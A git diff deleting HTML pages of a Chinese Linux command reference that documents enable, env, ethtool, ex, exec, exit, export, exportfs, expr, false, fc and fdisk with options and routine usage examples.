--n 禁用内建命令或显示已禁用的内建命令。
--p 以可复用格式打印。
--s 只显示处于启动状态的posix标准内建命令。
--f 动态库中加载内建命令。
--ns 打印处于禁用状态的posix标准内建命令。
--as 打印posix标准内建命令,无论是否禁用。
-
-

参数

-

filename:动态库文件名。

-

name(可选):内建命令,可以为多个。

-

返回值

-

enable返回成功,除非name不是内建命令或有错误发生。

-

例子(以下内容限于篇幅不再列出返回值部分)

-
# posix special builtin
-# 假设没有任何内建命令被禁用
-# 禁用两个posix标准内建命令
-enable -n set source
-# 打印处于禁用状态的posix标准内建命令
-enable -ns
-# 打印posix标准内建命令,无论是否禁用。
-enable -as
-# 打印处于启用状态的posix标准内建命令
-enable -s
-
-
# 假设没有任何内建命令被禁用
-# 禁用一到多个内建命令
-enable -n echo pwd
-# 打印所有内建命令,无论是否禁用。
-enable -a
-# 打印处于启用状态的内建命令
-enable
-# 打印处于禁用状态的内建命令
-enable -n
-# 启用一到多个内建命令
-enable pwd
-
-

Q&A

-

Q:请问-f-d-p的演示呢?

-

A:说明一下,-f-d限于个人能力没有找到合适的例子,如果您有更好的例子欢迎提pr; -经过我验证-p选项是否使用好像没有区别,可以比较enable -p|cat -Aenable|cat -A 有什么区别。(注:cat -A用于显示不可见字符)

-

Q:是否可以禁用enable自己?之后还能禁用或启用内建命令吗?

-

A:可以;不能。

-

注意

-
-

linux shell命令执行时,shell总是先在自己的shell builtin中查找该命令,如果找到则执行该命令;如果找不到该命令,则会从环境变量$PATH指定的路径中依次去查找待执行的命令。看起来好像没有办法编写用户自己的命令来替代shell builtin命令。幸运的是,有了enable命令我们就能做到了。

-
-
    -
  1. 关于同名命令调用的优先级的知识,请先参考builtin命令的提示部分,然后继续阅读下面部分;
  2. -
-

当内建命令echo没有禁用时,如果要调用外部命令echo,只能这样写/usr/bin/echo

-

当我们禁用了echo后,优先级顺序变成了这样:

-

函数 > 外部命令

-

如果执行命令的环境没有echo函数,那么调用的echo就是外部命令。

-
    -
  1. 该命令是bash内建命令,相关的帮助信息请查看 help 命令。
  2. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/env.html b/linux-command.docset/Contents/Resources/Documents/c/env.html deleted file mode 100644 index 49e578f39f..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/env.html +++ /dev/null @@ -1,109 +0,0 @@ - - - - - - - - - - - env 命令,Linux env 命令详解:显示系统中已存在的环境变量 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

env

-

显示系统中已存在的环境变量

-

补充说明

-

env命令 用于显示系统中已存在的环境变量,以及在定义的环境中执行指令。该命令只使用"-"作为参数选项时,隐藏了选项"-i"的功能。若没有设置任何选项和参数时,则直接显示当前的环境变量。

-

如果使用env命令在新环境中执行指令时,会因为没有定义环境变量"PATH"而提示错误信息"such file or directory"。此时,用户可以重新定义一个新的"PATH"或者使用绝对路径。

-

语法

-
env(选项)(参数)
-
-

选项

-
-i:开始一个新的空的环境;
--u<变量名>:从当前环境中删除指定的变量。
-
-

参数

-
    -
  • 变量定义:定义在新的环境中变量,定义多个变量定义用空格隔开。格式为“变量名=值”;
  • -
  • 指定:指定要执行的指令和参数。
  • -
-

实例

-
[root@localhost ~]# env
-hostname=LinServ-1
-TERM=linux
-SHELL=/bin/bash
-HISTSIZE=1000
-SSH_CLIENT=192.168.2.111 2705 22
-SSH_TTY=/dev/pts/0
-USER=root
-LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:
-mail=/var/spool/mail/root
-PATH=/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin
-INPUTRC=/etc/inputrc
-pwd=/root
-LANG=zh_CN.UTF-8
-SHLVL=1
-HOME=/root
-logname=root
-SSH_CONNECTION=192.168.2.111 2705 192.168.2.2 22
-LESSOPEN=|/usr/bin/lesspipe.sh %s
-G_BROKEN_FILENAMES=1
-_=/bin/env
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ethtool.html b/linux-command.docset/Contents/Resources/Documents/c/ethtool.html deleted file mode 100644 index 3b7953acd7..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ethtool.html +++ /dev/null @@ -1,203 +0,0 @@ - - - - - - - - - - - ethtool 命令,Linux ethtool 命令详解:显示或修改以太网卡的配置信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ethtool

-

显示或修改以太网卡的配置信息

-

补充说明

-

ethtool命令用于获取以太网卡的配置信息,或者修改这些配置。这个命令比较复杂,功能特别多。

-

语法

-
ethtool [ -a | -c | -g | -i | -d | -k | -r | -S |] ethX
-ethtool [-A] ethX [autoneg on|off] [rx on|off] [tx on|off]
-ethtool [-C] ethX [adaptive-rx on|off] [adaptive-tx on|off] [rx-usecs N] [rx-frames N] [rx-usecs-irq N] [rx-frames-irq N] [tx-usecs N] [tx-frames N] [tx-usecs-irq N] [tx-frames-irq N] [stats-block-usecs N][pkt-rate-low N][rx-usecs-low N] [rx-frames-low N] [tx-usecs-low N] [tx-frames-lowN] [pkt-rate-high N] [rx-usecs-high N] [rx-frames-high N] [tx-usecs-high N] [tx-frames-high N] [sample-interval N]
-ethtool [-G] ethX [rx N] [rx-mini N] [rx-jumbo N] [tx N]
-ethtool [-e] ethX [raw on|off] [offset N] [length N]
-ethtool [-E] ethX [magic N] [offset N] [value N]
-ethtool [-K] ethX [rx on|off] [tx on|off] [sg on|off] [tso on|off]
-ethtool [-p] ethX [N]
-ethtool [-t] ethX [offline|online]
-ethtool [-s] ethX [speed 10|100|1000] [duplex half|full] [autoneg on|off] [port tp|aui|bnc|mii] [phyad N] [xcvr internal|external]
-[wol p|u|m|b|a|g|s|d...] [sopass xx:yy:zz:aa:bb:cc] [msglvl N]
-
-

选项

-
-a 查看网卡中 接收模块RX、发送模块TX和Autonegotiate模块的状态:启动on 或 停用off。
--A 修改网卡中 接收模块RX、发送模块TX和Autonegotiate模块的状态:启动on 或 停用off。
--c display the Coalesce information of the specified ethernet card。
--C Change the Coalesce setting of the specified ethernet card。
--g Display the rx/tx ring parameter information of the specified ethernet card。
--G change the rx/tx ring setting of the specified ethernet card。
--i 显示网卡驱动的信息,如驱动的名称、版本等。
--d 显示register dump信息, 部分网卡驱动不支持该选项。
--e 显示EEPROM dump信息,部分网卡驱动不支持该选项。
--E 修改网卡EEPROM byte。
--k 显示网卡Offload参数的状态:on 或 off,包括rx-checksumming、tx-checksumming等。
--K 修改网卡Offload参数的状态。
--p 用于区别不同ethX对应网卡的物理位置,常用的方法是使网卡port上的led不断的闪;N指示了网卡闪的持续时间,以秒为单位。
--r 如果auto-negotiation模块的状态为on,则restarts auto-negotiation。
--S 显示NIC- and driver-specific 的统计参数,如网卡接收/发送的字节数、接收/发送的广播包个数等。
--t 让网卡执行自我检测,有两种模式:offline or online。
--s 修改网卡的部分配置,包括网卡速度、单工/全双工模式、mac地址等。
-
-

数据来源

-

Ethtool命令显示的信息来源于网卡驱动层,即TCP/ip协议的链路层。该命令在Linux内核中实现的逻辑层次为:

-

最重要的结构体struct ethtool_ops,该结构体成员为用于显示或修改以太网卡配置的一系列函数指针,见下表中的第二列。

-

网卡驱动负责实现(部分)这些函数,并将其封装入ethtool_ops结构体,为网络核心层提供统一的调用接口。因此,不同的网卡驱动会给应用层返回不同的信息。Ethtool命令选项struct ethtool_ops成员函数Ethtool命令显示参数的来源,三者间的对应关系如下表所示:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
命令选项struct ethtool_ops成员函数Ethtool命令显示参数的来源(以网卡驱动BNX2为例)
无 -sget_settingsget_wol get_msglevel get_link set_settings set_wol set_msglevel从网卡寄存器中获得网卡速度等信息,可配置。
-a -Aget_pauseparam set_pauseparam从网卡寄存器中获得Autonegotiate/RX/TX模块的状态:on oroff,可配置。
-c -Cget_coalesceset_coalesce从网卡寄存器中获得coalescing参数:TX/RX一个数据包后,推迟发生TX/RX中断的时间(us)/数据包个数。—减小该值可以提高网卡的响应时间。 当rx-usecs&rx-frames同时被设为0时,RX中断停止。 当tx-usecs&tx-frames同时被设为0时,TX中断停止。
-g -Gget_ringparam set_ringparam除当前TX/RX ring的值(从网卡寄存器中读取得到,可配置)外,其它为网卡bnx2自己固定的信息。
-k -Kget_rx_csumget_tx_csum get_sg get_tso set_rx_csum set_tx_csum set_sg set_tso显示信息从保存该状态的变量中读取得到,没有对应的寄存器。因此,TX/RX校验等模块一直处于on状态,实际上是无法修改的。
-iget_drvinfo[self_test_count, get_stats_coun,t get_regs_len, get_eeprom_len]网卡bnx2自己固定的信息,如: -——————————————————– -driver: bnx2 version: 1.4.30 firmware-version: 1.8.0.5 bus-info: 0000:09:00.0 -——————————————————–
-dget_drvinfoget_regs不支持,即bnx2中没有实现函数get_regs。
-e -Eget_eepromset_eeprom不支持,即bnx2中没有实现函数get_eeprom。
-rnway_reset配置网卡MII_BMCR寄存器,重启Auto negotiation模块。
-pphys_id配置网卡BNX2_EMAC_LED寄存器,实现LED闪功能。
-tself_test通过配置网卡寄存器,逐一测试网卡的硬件模块:registers,memory,loopback,Link stat,interrupt。
-Sget_ethtool_stats显示信息来源于网卡驱动中的结构体变量stats_blk。(网卡通过DMA方式,将寄存器BNX2_HC_STATISTICS _ADDR_L和BNX2_HC_STATISTICS_ADDR_H中的数据实时地读取到结构体变量struct statistics_block *stats_blk中。) —显示的数据都是从网卡寄存器中统计得到的,各项的含义需查询网卡(芯片)手册。
-

由上可见,ethtool命令用于显示/配置网卡硬件(寄存器)。  

-

实例

-

查看机器上网卡的速度:百兆还是千兆,请输入:

-
ethool eth0
-
-

操作完毕后,输出信息中Speed:这一项就指示了网卡的速度。停止网卡的发送模块TX,请输入:

-
ethtool -A tx off eth0
-
-

操作完毕后,可输入ethtool -a eth0,查看tx模块是否已被停止。查看网卡eth0采用了何种驱动,请输入:

-
ethtool -i eth0
-
-

操作完毕后,显示 driver: bnx2;version: 1.4.30 等信息。关闭网卡对收到的数据包的校验功能,请输入:

-
ethtool -K eth0 rx off
-
-

操作完毕后,可输入ethtool –k eth0,查看校验功能是否已被停止。如果机器上安装了两块网卡,那么eth0对应着哪块网卡呢?输入:

-
ethtool -p eth0 10
-
-

操作完毕后,看哪块网卡的led灯在闪,eth0就对应着哪块网卡。查看网卡,在接收/发送数据时,有没有出错?请输入:

-
ethtool –S eth0
-
-

将千兆网卡的速度降为百兆,请输入:

-
ethtool -s eth0 speed 100
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ex.html b/linux-command.docset/Contents/Resources/Documents/c/ex.html deleted file mode 100644 index 77d57fa47c..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ex.html +++ /dev/null @@ -1,78 +0,0 @@ - - - - - - - - - - - ex 命令,Linux ex 命令详解:启动vim编辑器的ex编辑模式 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ex

-

启动vim编辑器的ex编辑模式

-

补充说明

-

ex 模式下启动vim文本编辑器。ex执行效果如同vi -E,适用于法及参数可参照vi指令,如要从Ex模式回到普通模式,则在vim中输入:vi:visual即可。

-

语法

-
ex(参数)
-
-

参数

-

文件:指定待编辑的文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/exec.html b/linux-command.docset/Contents/Resources/Documents/c/exec.html deleted file mode 100644 index 9c87cff26a..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/exec.html +++ /dev/null @@ -1,95 +0,0 @@ - - - - - - - - - - - exec 命令,Linux exec 命令详解:调用并执行指定的命令 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

exec

-

调用并执行指定的命令

-

补充说明

-

exec命令 用于调用并执行指令的命令。exec命令通常用在shell脚本程序中,可以调用其他的命令。如果在当前终端中使用命令,则当指定的命令执行完毕后会立即退出终端。

-

语法

-
exec(选项)(参数)
-
-

选项

-
-c:在空环境中执行指定的命令。
-
-

参数

-

指令:要执行的指令和相应的参数。

-

实例

-

首先使用echo命令将文本“Linux C++”进行输出,输入如下命令:

-
echo Linux C++           # 输出指定信息
-
-

执行上面的指令后,输出如下信息:

-
Linux C++                # 输出信息
-
-

然后再使用exec命令调用echo命令输出同样的信息,并且对输出的信息进行对比,输入指令如下所示:

-
exec -c echo Linux C++          # 调用命令
-
-

执行以上命令后,其输出信息如下:

-
Linux C++                       # 使用指定指令输出信息
-
-

通过比较两者执行后的结果来看,所实现的功能是相同的,即使用exec命令调用echo命令成功。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/exit.html b/linux-command.docset/Contents/Resources/Documents/c/exit.html deleted file mode 100644 index a5a2a994ff..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/exit.html +++ /dev/null @@ -1,116 +0,0 @@ - - - - - - - - - - - exit 命令,Linux exit 命令详解:退出当前的shell。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

exit

-

退出当前的shell。

-

概要

-
exit [n]
-
-

主要用途

-
    -
  • 执行exit可使shell以指定的状态值退出。若不设置参数,则以最后一条命令的返回值作为exit的返回值退出。
  • -
-

参数

-

n(可选):指定的shell返回值(整数)。

-

返回值

-

返回值为你指定的参数n的值,如果你指定的参数大于255或小于0,那么会通过加或减256的方式使得返回值总是处于0到255之间。

-

例子

-

退出当前shell:

-
[root@localhost ~]# exit
-logout
-
-

也可以使用ctrl+d退出当前终端,下面列出了打开或关闭该功能的方法:

-
# 打开ctrl+d退出终端
-set -o ignoreeof
-# 关闭ctrl+d退出终端
-set +o ignoreeof
-
-

在脚本中,进入脚本所在目录,否则退出:

-
cd $(dirname $0) || exit 1
-
-

在脚本中,判断参数数量,不匹配就打印使用方式,退出:

-
if [ "$#" -ne "2" ]; then
-    echo "usage: $0 <area> <hours>"
-    exit 2
-fi
-
-

在脚本中,退出时删除临时文件:

-
trap "rm -f tmpfile; echo Bye." EXIT
-
-

检查上一命令的退出码:

-
./mycommand.sh
-EXCODE=$?
-if [ "$EXCODE" == "0" ]; then
-    echo "O.K"
-fi
-
-

注意

-
    -
  1. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  2. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/expand.html b/linux-command.docset/Contents/Resources/Documents/c/expand.html deleted file mode 100644 index 225b80333e..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/expand.html +++ /dev/null @@ -1,81 +0,0 @@ - - - - - - - - - - - expand 命令,Linux expand 命令详解:将文件的制表符转换为空白字符 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

expand

-

将文件的制表符转换为空白字符

-

补充说明

-

expand命令 用于将文件的制表符(TAB)转换为空白字符(space),将结果显示到标准输出设备。

-

语法

-
expand(选项)(参数)
-
-

选项

-
-t<数字>:指定制表符所代表的空白字符的个数,而不使用默认的8。
-
-

参数

-

文件:指定要转换制表符为空白的文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/export.html b/linux-command.docset/Contents/Resources/Documents/c/export.html deleted file mode 100644 index a16c03d4d5..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/export.html +++ /dev/null @@ -1,208 +0,0 @@ - - - - - - - - - - - export 命令,Linux export 命令详解:为shell变量或函数设置导出属性。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

export

-

为shell变量或函数设置导出属性。

-

概要

-
export [-fn] [name[=word]]...
-export -p
-
-

主要用途

-
    -
  • 定义一到多个变量并设置导出属性。
  • -
  • 修改一到多个变量的值并设置导出属性。
  • -
  • 删除一到多个变量的导出属性。
  • -
  • 显示全部拥有导出属性的变量。
  • -
  • 为一到多个已定义函数新增导出属性。
  • -
  • 删除一到多个函数的导出属性。
  • -
  • 显示全部拥有导出属性的函数。
  • -
-

选项

-
-f:指向函数。
--n:删除变量的导出属性。
--p:显示全部拥有导出属性的变量。
--pf:显示全部拥有导出属性的函数。
--nf:删除函数的导出属性。
---:在它之后的选项无效。
-
-

参数

-

name(可选):变量名或已定义函数名。

-

value(可选):变量的值。

-

返回值

-

export返回true除非你提供了非法选项或非法名称。

-

例子

-
# 显示全部拥有导出属性的变量。
-# export -p
-# export
-# 显示全部拥有导出属性的函数。
-# export -pf
-
-
# 首先删除要演示的变量名
-#unset a b
-# 定义变量的同时增加导出属性
-export a b=3
-# 当然也可以先定义后增加导出属性
-b=3
-export b
-
-# 修改拥有导出属性的变量的值
-export a=5 b=7
-# 当然也可以直接赋值修改
-a=5;b=7
-
-# 删除变量的导出属性
-export -n a b
-
-
# 首先删除要演示的函数名
-unset func_1 func_2
-# 创建函数
-function func_1(){ echo '123'; }
-function func_2(){ echo '890'; }
-
-# 为已定义函数增加导出属性
-export -f func_1 func_2
-
-# 删除函数的导出属性
-export -fn a b
-
-
# 添加环境变量(JAVA)到`~/.bashrc`
-PATH=/usr/local/jdk1.7.0/bin:$PATH
-# 添加当前位置到动态库环境变量
-export LD_LIBRARY_PATH=$(pwd):${LD_LIBRARY_PATH}
-
-

错误用法

-
    -
  • 对未定义的函数添加导出属性。
  • -
  • 对没有导出属性的函数/变量执行删除导出属性操作。
  • -
  • -- 后使用选项。
  • -
-

Q&A

-

Q:对变量或函数设置导出属性有什么用?

-

A:它们会成为环境变量,可以在脚本中访问它们,尤其是脚本中调用的子进程需要时。( 参考链接4

-

Q:如果我编写的脚本修改了已有的环境变量的值,那么执行它会在当前终端生效吗?会影响之前以及之后打开的终端吗?

-

A:只有通过source方式调用的脚本会生效,您可以查看source命令获得更多信息;其他方式只是在子shell中执行。 -之前的不会影响,之后的除非是修改了~/.bashrc这种启动终端时加载的脚本。( 参考链接1

-

Q:我脚本文件中调用~/.bashrc中定义的函数和变量。为什么在新打开的终端中通过 sh 方式调用该脚本或直接运行

-

这个当前用户有执行权限的脚本却不能使用这些函数和变量?
-A:请在~/.bashrc文件中增加export它们的语句。另请参阅 知识点 段落。

-

Q:数组和关联数组也可以设置导出属性吗?

-

A:是可以的(如果你的bash支持它们),不过有些问题( 参考链接2 )。

-

Q:为什么我在查看变量或函数导出属性的时候显示的开头是declare

-

A:因为declare也能够设置变量或函数的导出属性,详见declare命令。

-

注意

-
    -
  1. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  2. -
-

知识点

-

info bashbash在线文档 的 -3.7.3节提到了shell执行环境,其中涉及变量和函数的内容如下

-
-
    -
  • shell parameters that are set by variable assignment or with set or inherited from the shell’s parent in the environment
  • -
  • shell functions defined during execution or inherited from the shell’s parent in the environment
  • -
-
-

那么第一句话中的参数又和变量有什么关系呢?在3.4节第一段中提到:

-
-

A variable is a parameter denoted by a name.

-
-

变量是有名字的参数。

-

那么子shell确实继承了父shell中带有导出属性的变量或函数。

-

可参考链接: 执行脚本方式的区别

-

参考链接

-
    -
  1. 关于bashrc profile文件的讨论
  2. -
  3. 关于export数组的讨论
  4. -
  5. export -pf用法
  6. -
  7. 环境变量和shell变量的区别
  8. -
-

扩展阅读

-

一般来说,配置交叉编译工具链的时候需要指定编译工具的路径,此时就需要设置环境变量。查看已经存在的环境变量:

-
[root@localhost ~]# export
-declare -x G_BROKEN_FILENAMES="1"
-declare -x HISTSIZE="1000"
-declare -x HOME="/root"
-declare -x hostname="localhost"
-declare -x INPUTRC="/etc/inputrc"
-declare -x LANG="zh_CN.UTF-8"
-declare -x LESSOPEN="|/usr/bin/lesspipe.sh %s"
-declare -x logname="root"
-declare -x LS_COLORS="no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:"
-declare -x mail="/var/spool/mail/root"
-declare -x OLDPWD
-declare -x PATH="/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin"
-declare -x pwd="/root"
-declare -x SHELL="/bin/bash"
-declare -x SHLVL="1"
-declare -x SSH_CLIENT="192.168.2.111 2705 22"
-declare -x SSH_CONNECTION="192.168.2.111 2705 192.168.2.2 22"
-declare -x SSH_TTY="/dev/pts/0"
-declare -x TERM="linux"
-declare -x USER="root"
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/exportfs.html b/linux-command.docset/Contents/Resources/Documents/c/exportfs.html deleted file mode 100644 index 9c24e9ded1..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/exportfs.html +++ /dev/null @@ -1,82 +0,0 @@ - - - - - - - - - - - exportfs 命令,Linux exportfs 命令详解:管理NFS共享文件系统列表 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

exportfs

-

管理NFS共享文件系统列表

-

补充说明

-

exportfs 命令用来管理当前NFS共享的文件系统列表。

-

参数:

-
-a 打开或取消所有目录共享。
--o options,...指定一列共享选项,与 exports(5) 中讲到的类似。
--i 忽略 /etc/exports 文件,从而只使用默认的和命令行指定的选项。
--r 重新共享所有目录。它使 /var/lib/nfs/xtab 和 /etc/exports 同步。 它将 /etc/exports 中已删除的条目从 /var/lib/nfs/xtab 中删除,将内核共享表中任何不再有效的条目移除。
--u 取消一个或多个目录的共享。
--f 在“新”模式下,刷新内核共享表之外的任何东西。 任何活动的客户程序将在它们的下次请求中得到 mountd添加的新的共享条目。
--v 输出详细信息。当共享或者取消共享时,显示在做什么。 显示当前共享列表的时候,同时显示共享的选项。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/expr.html b/linux-command.docset/Contents/Resources/Documents/c/expr.html deleted file mode 100644 index 9112ac02da..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/expr.html +++ /dev/null @@ -1,94 +0,0 @@ - - - - - - - - - - - expr 命令,Linux expr 命令详解:一款表达式计算工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

expr

-

一款表达式计算工具

-

补充说明

-

expr命令 是一款表达式计算工具,使用它完成表达式的求值操作。

-

expr的常用运算符:

-
    -
  • 加法运算:+
  • -
  • 减法运算:-
  • -
  • 乘法运算:\*
  • -
  • 除法运算:/
  • -
  • 求摸(取余)运算:%
  • -
-

语法

-
expr(选项)(参数)
-
-

选项

-
--help:显示指令的帮助信息;
---version:显示指令版本信息。
-
-

参数

-

表达式:要求值的表达式。

-

实例

-
result=`expr 2 + 3`
-result=$(expr $no1 + 5)
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/false.html b/linux-command.docset/Contents/Resources/Documents/c/false.html deleted file mode 100644 index 6d558bf6b5..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/false.html +++ /dev/null @@ -1,84 +0,0 @@ - - - - - - - - - - - false 命令,Linux false 命令详解:返回状态为失败。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

false

-

返回状态为失败。

-

概要

-
false
-
-

主要用途

-
    -
  • 用于和其他命令进行逻辑运算。
  • -
-

返回值

-

返回状态总是失败;返回值为1。

-

注意

-
    -
  1. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  2. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/fc.html b/linux-command.docset/Contents/Resources/Documents/c/fc.html deleted file mode 100644 index f8428b3e37..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/fc.html +++ /dev/null @@ -1,125 +0,0 @@ - - - - - - - - - - - fc 命令,Linux fc 命令详解:显示历史列表中的命令或修改指定的历史命令并执行。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

fc

-

显示历史列表中的命令或修改指定的历史命令并执行。

-

概要

-
fc [-e ename] [-lnr] [first] [last]
-fc -s [pat=rep] [command]
-
-

主要用途

-
    -
  • -

    显示历史列表中的命令。

    -
  • -
  • -

    编辑并重新执行历史列表的命令。

    -
  • -
-

选项

-
-e ename                  选择使用的编辑器,默认调用次序为环境变量`FCEDIT`、环境变量`EDITOR``vi`。
--l                        列出而不是编辑。
--n                        列出时不输出行号(需配合-l选项)。
--r                        倒序列出命令,最近执行的先列出(需配合-l选项)。
--s [pat=rep] [command]    command(未指定时为最后执行的命令)将在pat替换为rep后重新执行。
-
-

参数

-

first:可选;可以是字符串(以该字符串开头的最新命令)、数字(历史列表索引,负数代表当前命令号的偏移);未指定时设置为前一个命令并且偏移量为-16(最近的16条命令)。

-

last:可选;可以是字符串(以该字符串开头的最新命令)、数字(历史列表索引,负数代表当前命令号的偏移);未指定时设置为参数first。

-

返回值

-

返回成功或执行命令的状态,当错误出现时返回非0值。

-

例子

-

替换命令参数:

-
# 列出 ~ 目录
-ls ~
-# 替换 ~ 为 / ,替换后列出根目录, 
-fc -s ~=/
-
-

显示最近使用的10条历史命令:

-
[root@localhost ~]# fc -l -10
-1039     type -a grep
-1040     export
-1041     history 10
-1042     ulimit -a
-1043     shopt
-1044     help ls
-1045     help env
-1046     help short
-1047     help shopt
-1048     showkey -a
-
-

编辑第1040条历史命令:

-
[root@localhost ~]# fc 1040
-
-

注意

-
    -
  1. 关闭终端后,历史列表将被写入历史文件~/.bash_history
  2. -
  3. 环境变量FCEDIT的值为fc默认的编辑器。
  4. -
  5. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  6. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/fdisk.html b/linux-command.docset/Contents/Resources/Documents/c/fdisk.html deleted file mode 100644 index 8a3733a5c6..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/fdisk.html +++ /dev/null @@ -1,320 +0,0 @@ - - - - - - - - - - - fdisk 命令,Linux fdisk 命令详解:查看磁盘使用情况和磁盘分区 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

fdisk

-

查看磁盘使用情况和磁盘分区

-

补充说明

-

fdisk命令 用于观察硬盘实体使用情况,也可对硬盘分区。它采用传统的问答式界面,而非类似DOS fdisk的cfdisk互动式操作界面,因此在使用上较为不便,但功能却丝毫不打折扣。

-

语法

-
fdisk(选项)(参数)
-
-

选项

-
 -b <大小>             扇区大小(512、1024、2048或4096)
- -c[=<模式>]           兼容模式:“dos”或“nondos”(默认)
- -h                    打印此帮助文本
- -u[=<单位>]           显示单位:“cylinders”(柱面)或“sectors”(扇区,默认)
- -v                    打印程序版本
- -C <数字>             指定柱面数
- -H <数字>             指定磁头数
- -S <数字>             指定每个磁道的扇区数
-
-

参数

-

设备文件:指定要进行分区或者显示分区的硬盘设备文件。

-

实例

-

首先选择要进行操作的磁盘:

-
[root@localhost ~]# fdisk /dev/sdb
-
-

输入m列出可以执行的命令:

-
command (m for help): m
-Command action
-   a   toggle a bootable flag
-   b   edit bsd disklabel
-   c   toggle the dos compatibility flag
-   d   delete a partition
-   l   list known partition types
-   m   print this menu
-   n   add a new partition
-   o   create a new empty DOS partition table
-   p   print the partition table
-   q   quit without saving changes
-   s   create a new empty Sun disklabel
-   t   change a partition's system id
-   u   change display/entry units
-   v   verify the partition table
-   w   write table to disk and exit
-   x   extra functionality (experts only)
-
-

输入p列出磁盘目前的分区情况:

-
Command (m for help): p
-
-Disk /dev/sdb: 3221 MB, 3221225472 bytes
-255 heads, 63 sectors/track, 391 cylinders
-Units = cylinders of 16065 * 512 = 8225280 bytes
-
-   Device Boot      Start         End      Blocks   Id  System
-/dev/sdb1               1           1        8001   8e  Linux LVM
-/dev/sdb2               2          26      200812+  83  Linux
-
-

输入d然后选择分区,删除现有分区:

-
Command (m for help): d
-Partition number (1-4): 1
-
-Command (m for help): d
-Selected partition 2
-
-

